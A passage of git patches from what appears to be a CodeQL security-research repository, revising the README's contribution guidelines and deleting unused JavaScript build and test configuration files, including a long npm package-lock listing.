+We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. For example, if you found a vulnerability with CodeQL and would like to share the query with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Or if you have recorded a video in which you use CodeQL then please open a pull request to add it to the [Videos](#videos) section of this README.
+
+Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license.
+

From 7bfa0779ba091390d7d39c4c35c662f3b8b64c80 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kev@semmle.com>
Date: Wed, 24 Feb 2021 11:37:12 +0000
Subject: [PATCH 016/104] Update README.md

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 299c328..e335e3e 100644
--- a/README.md
+++ b/README.md
@@ -9,7 +9,7 @@ We use it for these main purposes:
 
 ## CodeQL Resources
 
-We welcome contributions to this section. For example, if you have written a blog post about a cool CodeQL query and would like to add a link to it here, then please open a pull request. See [Contributing](#Contributing) below.
+**This section is yours!** Do you want to share a cool CodeQL query with the community? Or some awesome tutorial or video, or some helpful tooling? Your contributions are welcome. Please open a pull request. See [Contributing](#Contributing) below.
 
 ### Official resources
 

From af4b660f154647002d00566220d175bf13233b53 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Thu, 25 Feb 2021 10:24:44 +0000
Subject: [PATCH 017/104] Update Contributing section.

---
 README.md | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index e335e3e..15411d6 100644
--- a/README.md
+++ b/README.md
@@ -9,7 +9,7 @@ We use it for these main purposes:
 
 ## CodeQL Resources
 
-**This section is yours!** Do you want to share a cool CodeQL query with the community? Or some awesome tutorial or video, or some helpful tooling? Your contributions are welcome. Please open a pull request. See [Contributing](#Contributing) below.
+**This section is yours!** Do you want to share a cool CodeQL query with the community? Or an awesome tutorial or video, or some helpful tooling? Your contributions are welcome. Please open a pull request. See [Contributing](#Contributing) below.
 
 ### Official resources
 
@@ -53,7 +53,11 @@ We use it for these main purposes:
 
 ## Contributing
 
-We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. For example, if you found a vulnerability with CodeQL and would like to share the query with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Or if you have recorded a video in which you use CodeQL then please open a pull request to add it to the [Videos](#videos) section of this README.
+We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README.
+
+If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead. We do not offer bounties for queries submitted to this repo. The queries in the [CodeQL_Queries](CodeQL_Queries) sub-directory are usually highly specialized queries that only make sense for a specific codebase. For example, this repo contains queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776). Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only.
+
+If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list.
 
 Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license.
 

From c0f70d31a0ecf3d9a0a718d3bd05f0f47ebb5c19 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Thu, 25 Feb 2021 12:05:07 +0000
Subject: [PATCH 018/104] Delete newline.

---
 README.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/README.md b/README.md
index 15411d6..e1cad99 100644
--- a/README.md
+++ b/README.md
@@ -60,4 +60,3 @@ If you have written a cool CodeQL query that you would like to share with the co
 If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list.
 
 Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license.
-

From c71c7073e61461658ab445744d5f1428f59c4709 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Fri, 26 Feb 2021 21:21:04 +0000
Subject: [PATCH 019/104] Remove useless files

---
 .eslintignore     |    2 -
 eslintrc.json     |   36 -
 jest.config.js    |   12 -
 package-lock.json | 5887 ---------------------------------------------
 package.json      |   25 -
 tsconfig.json     |   18 -
 6 files changed, 5980 deletions(-)
 delete mode 100644 .eslintignore
 delete mode 100644 eslintrc.json
 delete mode 100644 jest.config.js
 delete mode 100644 package-lock.json
 delete mode 100644 package.json
 delete mode 100644 tsconfig.json

diff --git a/.eslintignore b/.eslintignore
deleted file mode 100644
index ee5b393..0000000
--- a/.eslintignore
+++ /dev/null
@@ -1,2 +0,0 @@
-*.js
-!/.github
diff --git a/eslintrc.json b/eslintrc.json
deleted file mode 100644
index c3d6354..0000000
--- a/eslintrc.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-    "parser": "@typescript-eslint/parser",
-    "plugins": ["@typescript-eslint", "prettier"],
-    "extends": [
-      "eslint:recommended",
-      "plugin:@typescript-eslint/recommended",
-      "prettier/@typescript-eslint",
-      "plugin:prettier/recommended"
-    ],
-    "rules": {
-      "prettier/prettier": [
-        "error",
-        {
-          "singleQuote": true,
-          "trailingComma": "all",
-          "bracketSpacing": false,
-          "printWidth": 120,
-          "tabWidth": 2,
-          "semi": false
-        }
-      ],
-      // octokit/rest requires parameters that are not in camelcase
-      "camelcase": "off",
-      "@typescript-eslint/camelcase": ["error", {"properties": "never"}]
-    },
-    "env": {
-      "node": true,
-      "jest": true,
-      "es6": true
-    },
-    "parserOptions": {
-      "ecmaVersion": 2018,
-      "sourceType": "module"
-    }
-  }
-  
\ No newline at end of file
diff --git a/jest.config.js b/jest.config.js
deleted file mode 100644
index 27481ca..0000000
--- a/jest.config.js
+++ /dev/null
@@ -1,12 +0,0 @@
-
-module.exports = {
-    clearMocks: true,
-    moduleFileExtensions: ['js'],
-    testEnvironment: 'node',
-    testMatch: ['**/*.test.js'],
-    transform: {
-      '^.+\\.ts$': 'ts-jest',
-    },
-    transformIgnorePatterns: ['^.+\\.js$'],
-    verbose: true,
-  }
diff --git a/package-lock.json b/package-lock.json
deleted file mode 100644
index 44ce9df..0000000
--- a/package-lock.json
+++ /dev/null
@@ -1,5887 +0,0 @@
-{
-  "requires": true,
-  "lockfileVersion": 1,
-  "dependencies": {
-    "@actions/core": {
-      "version": "1.2.6",
-      "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.2.6.tgz",
-      "integrity": "sha512-ZQYitnqiyBc3D+k7LsgSBmMDVkOVidaagDG7j3fOym77jNunWRuYx7VSHa9GNfFZh+zh61xsCjRj4JxMZlDqTA==",
-      "dev": true
-    },
-    "@actions/github": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/@actions/github/-/github-2.2.0.tgz",
-      "integrity": "sha512-9UAZqn8ywdR70n3GwVle4N8ALosQs4z50N7XMXrSTUVOmVpaBC5kE3TRTT7qQdi3OaQV24mjGuJZsHUmhD+ZXw==",
-      "dev": true,
-      "requires": {
-        "@actions/http-client": "^1.0.3",
-        "@octokit/graphql": "^4.3.1",
-        "@octokit/rest": "^16.43.1"
-      }
-    },
-    "@actions/http-client": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-1.0.8.tgz",
-      "integrity": "sha512-G4JjJ6f9Hb3Zvejj+ewLLKLf99ZC+9v+yCxoYf9vSyH+WkzPLB2LuUtRMGNkooMqdugGBFStIKXOuvH1W+EctA==",
-      "dev": true,
-      "requires": {
-        "tunnel": "0.0.6"
-      }
-    },
-    "@babel/code-frame": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.8.3.tgz",
-      "integrity": "sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==",
-      "dev": true,
-      "requires": {
-        "@babel/highlight": "^7.8.3"
-      }
-    },
-    "@babel/core": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.9.6.tgz",
-      "integrity": "sha512-nD3deLvbsApbHAHttzIssYqgb883yU/d9roe4RZymBCDaZryMJDbptVpEpeQuRh4BJ+SYI8le9YGxKvFEvl1Wg==",
-      "dev": true,
-      "requires": {
-        "@babel/code-frame": "^7.8.3",
-        "@babel/generator": "^7.9.6",
-        "@babel/helper-module-transforms": "^7.9.0",
-        "@babel/helpers": "^7.9.6",
-        "@babel/parser": "^7.9.6",
-        "@babel/template": "^7.8.6",
-        "@babel/traverse": "^7.9.6",
-        "@babel/types": "^7.9.6",
-        "convert-source-map": "^1.7.0",
-        "debug": "^4.1.0",
-        "gensync": "^1.0.0-beta.1",
-        "json5": "^2.1.2",
-        "lodash": "^4.17.13",
-        "resolve": "^1.3.2",
-        "semver": "^5.4.1",
-        "source-map": "^0.5.0"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=",
-          "dev": true
-        }
-      }
-    },
-    "@babel/generator": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.9.6.tgz",
-      "integrity": "sha512-+htwWKJbH2bL72HRluF8zumBxzuX0ZZUFl3JLNyoUjM/Ho8wnVpPXM6aUz8cfKDqQ/h7zHqKt4xzJteUosckqQ==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.9.6",
-        "jsesc": "^2.5.1",
-        "lodash": "^4.17.13",
-        "source-map": "^0.5.0"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=",
-          "dev": true
-        }
-      }
-    },
-    "@babel/helper-function-name": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz",
-      "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-get-function-arity": "^7.8.3",
-        "@babel/template": "^7.8.3",
-        "@babel/types": "^7.9.5"
-      }
-    },
-    "@babel/helper-get-function-arity": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz",
-      "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-member-expression-to-functions": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.8.3.tgz",
-      "integrity": "sha512-fO4Egq88utkQFjbPrSHGmGLFqmrshs11d46WI+WZDESt7Wu7wN2G2Iu+NMMZJFDOVRHAMIkB5SNh30NtwCA7RA==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-module-imports": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.8.3.tgz",
-      "integrity": "sha512-R0Bx3jippsbAEtzkpZ/6FIiuzOURPcMjHp+Z6xPe6DtApDJx+w7UYyOLanZqO8+wKR9G10s/FmHXvxaMd9s6Kg==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-module-transforms": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.9.0.tgz",
-      "integrity": "sha512-0FvKyu0gpPfIQ8EkxlrAydOWROdHpBmiCiRwLkUiBGhCUPRRbVD2/tm3sFr/c/GWFrQ/ffutGUAnx7V0FzT2wA==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-module-imports": "^7.8.3",
-        "@babel/helper-replace-supers": "^7.8.6",
-        "@babel/helper-simple-access": "^7.8.3",
-        "@babel/helper-split-export-declaration": "^7.8.3",
-        "@babel/template": "^7.8.6",
-        "@babel/types": "^7.9.0",
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/helper-optimise-call-expression": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.8.3.tgz",
-      "integrity": "sha512-Kag20n86cbO2AvHca6EJsvqAd82gc6VMGule4HwebwMlwkpXuVqrNRj6CkCV2sKxgi9MyAUnZVnZ6lJ1/vKhHQ==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-plugin-utils": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz",
-      "integrity": "sha512-j+fq49Xds2smCUNYmEHF9kGNkhbet6yVIBp4e6oeQpH1RUs/Ir06xUKzDjDkGcaaokPiTNs2JBWHjaE4csUkZQ==",
-      "dev": true
-    },
-    "@babel/helper-replace-supers": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.9.6.tgz",
-      "integrity": "sha512-qX+chbxkbArLyCImk3bWV+jB5gTNU/rsze+JlcF6Nf8tVTigPJSI1o1oBow/9Resa1yehUO9lIipsmu9oG4RzA==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-member-expression-to-functions": "^7.8.3",
-        "@babel/helper-optimise-call-expression": "^7.8.3",
-        "@babel/traverse": "^7.9.6",
-        "@babel/types": "^7.9.6"
-      }
-    },
-    "@babel/helper-simple-access": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.8.3.tgz",
-      "integrity": "sha512-VNGUDjx5cCWg4vvCTR8qQ7YJYZ+HBjxOgXEl7ounz+4Sn7+LMD3CFrCTEU6/qXKbA2nKg21CwhhBzO0RpRbdCw==",
-      "dev": true,
-      "requires": {
-        "@babel/template": "^7.8.3",
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-split-export-declaration": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.8.3.tgz",
-      "integrity": "sha512-3x3yOeyBhW851hroze7ElzdkeRXQYQbFIb7gLK1WQYsw2GWDay5gAJNw1sWJ0VFP6z5J1whqeXH/WCdCjZv6dA==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-validator-identifier": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz",
-      "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==",
-      "dev": true
-    },
-    "@babel/helpers": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.9.6.tgz",
-      "integrity": "sha512-tI4bUbldloLcHWoRUMAj4g1bF313M/o6fBKhIsb3QnGVPwRm9JsNf/gqMkQ7zjqReABiffPV6RWj7hEglID5Iw==",
-      "dev": true,
-      "requires": {
-        "@babel/template": "^7.8.3",
-        "@babel/traverse": "^7.9.6",
-        "@babel/types": "^7.9.6"
-      }
-    },
-    "@babel/highlight": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.9.0.tgz",
-      "integrity": "sha512-lJZPilxX7Op3Nv/2cvFdnlepPXDxi29wxteT57Q965oc5R9v86ztx0jfxVrTcBk8C2kcPkkDa2Z4T3ZsPPVWsQ==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-validator-identifier": "^7.9.0",
-        "chalk": "^2.0.0",
-        "js-tokens": "^4.0.0"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-          "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-          "dev": true,
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-          "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          }
-        },
-        "color-convert": {
-          "version": "1.9.3",
-          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
-          "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-          "dev": true,
-          "requires": {
-            "color-name": "1.1.3"
-          }
-        },
-        "color-name": {
-          "version": "1.1.3",
-          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-          "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=",
-          "dev": true
-        },
-        "has-flag": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-          "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
-          "dev": true
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-          "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-          "dev": true,
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "@babel/parser": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.9.6.tgz",
-      "integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==",
-      "dev": true
-    },
-    "@babel/plugin-syntax-async-generators": {
-      "version": "7.8.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
-      "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-bigint": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
-      "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-class-properties": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.8.3.tgz",
-      "integrity": "sha512-UcAyQWg2bAN647Q+O811tG9MrJ38Z10jjhQdKNAL8fsyPzE3cCN/uT+f55cFVY4aGO4jqJAvmqsuY3GQDwAoXg==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-json-strings": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
-      "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-logical-assignment-operators": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.8.3.tgz",
-      "integrity": "sha512-Zpg2Sgc++37kuFl6ppq2Q7Awc6E6AIW671x5PY8E/f7MCIyPPGK/EoeZXvvY3P42exZ3Q4/t3YOzP/HiN79jDg==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-nullish-coalescing-operator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
-      "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-numeric-separator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.8.3.tgz",
-      "integrity": "sha512-H7dCMAdN83PcCmqmkHB5dtp+Xa9a6LKSvA2hiFBC/5alSHxM5VgWZXFqDi0YFe8XNGT6iCa+z4V4zSt/PdZ7Dw==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-object-rest-spread": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
-      "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-optional-catch-binding": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
-      "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-optional-chaining": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
-      "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/template": {
-      "version": "7.8.6",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz",
-      "integrity": "sha512-zbMsPMy/v0PWFZEhQJ66bqjhH+z0JgMoBWuikXybgG3Gkd/3t5oQ1Rw2WQhnSrsOmsKXnZOx15tkC4qON/+JPg==",
-      "dev": true,
-      "requires": {
-        "@babel/code-frame": "^7.8.3",
-        "@babel/parser": "^7.8.6",
-        "@babel/types": "^7.8.6"
-      }
-    },
-    "@babel/traverse": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.9.6.tgz",
-      "integrity": "sha512-b3rAHSjbxy6VEAvlxM8OV/0X4XrG72zoxme6q1MOoe2vd0bEc+TwayhuC1+Dfgqh1QEG+pj7atQqvUprHIccsg==",
-      "dev": true,
-      "requires": {
-        "@babel/code-frame": "^7.8.3",
-        "@babel/generator": "^7.9.6",
-        "@babel/helper-function-name": "^7.9.5",
-        "@babel/helper-split-export-declaration": "^7.8.3",
-        "@babel/parser": "^7.9.6",
-        "@babel/types": "^7.9.6",
-        "debug": "^4.1.0",
-        "globals": "^11.1.0",
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/types": {
-      "version": "7.9.6",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz",
-      "integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-validator-identifier": "^7.9.5",
-        "lodash": "^4.17.13",
-        "to-fast-properties": "^2.0.0"
-      }
-    },
-    "@bcoe/v8-coverage": {
-      "version": "0.2.3",
-      "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
-      "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==",
-      "dev": true
-    },
-    "@cnakazawa/watch": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/@cnakazawa/watch/-/watch-1.0.4.tgz",
-      "integrity": "sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==",
-      "dev": true,
-      "requires": {
-        "exec-sh": "^0.3.2",
-        "minimist": "^1.2.0"
-      }
-    },
-    "@istanbuljs/load-nyc-config": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.0.0.tgz",
-      "integrity": "sha512-ZR0rq/f/E4f4XcgnDvtMWXCUJpi8eO0rssVhmztsZqLIEFA9UUP9zmpE0VxlM+kv/E1ul2I876Fwil2ayptDVg==",
-      "dev": true,
-      "requires": {
-        "camelcase": "^5.3.1",
-        "find-up": "^4.1.0",
-        "js-yaml": "^3.13.1",
-        "resolve-from": "^5.0.0"
-      }
-    },
-    "@istanbuljs/schema": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.2.tgz",
-      "integrity": "sha512-tsAQNx32a8CoFhjhijUIhI4kccIAgmGhy8LZMZgGfmXcpMbPRUqn5LWmgRttILi6yeGmBJd2xsPkFMs0PzgPCw==",
-      "dev": true
-    },
-    "@jest/console": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/console/-/console-26.0.1.tgz",
-      "integrity": "sha512-9t1KUe/93coV1rBSxMmBAOIK3/HVpwxArCA1CxskKyRiv6o8J70V8C/V3OJminVCTa2M0hQI9AWRd5wxu2dAHw==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "jest-message-util": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "slash": "^3.0.0"
-      }
-    },
-    "@jest/core": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/core/-/core-26.0.1.tgz",
-      "integrity": "sha512-Xq3eqYnxsG9SjDC+WLeIgf7/8KU6rddBxH+SCt18gEpOhAGYC/Mq+YbtlNcIdwjnnT+wDseXSbU0e5X84Y4jTQ==",
-      "dev": true,
-      "requires": {
-        "@jest/console": "^26.0.1",
-        "@jest/reporters": "^26.0.1",
-        "@jest/test-result": "^26.0.1",
-        "@jest/transform": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^4.0.0",
-        "exit": "^0.1.2",
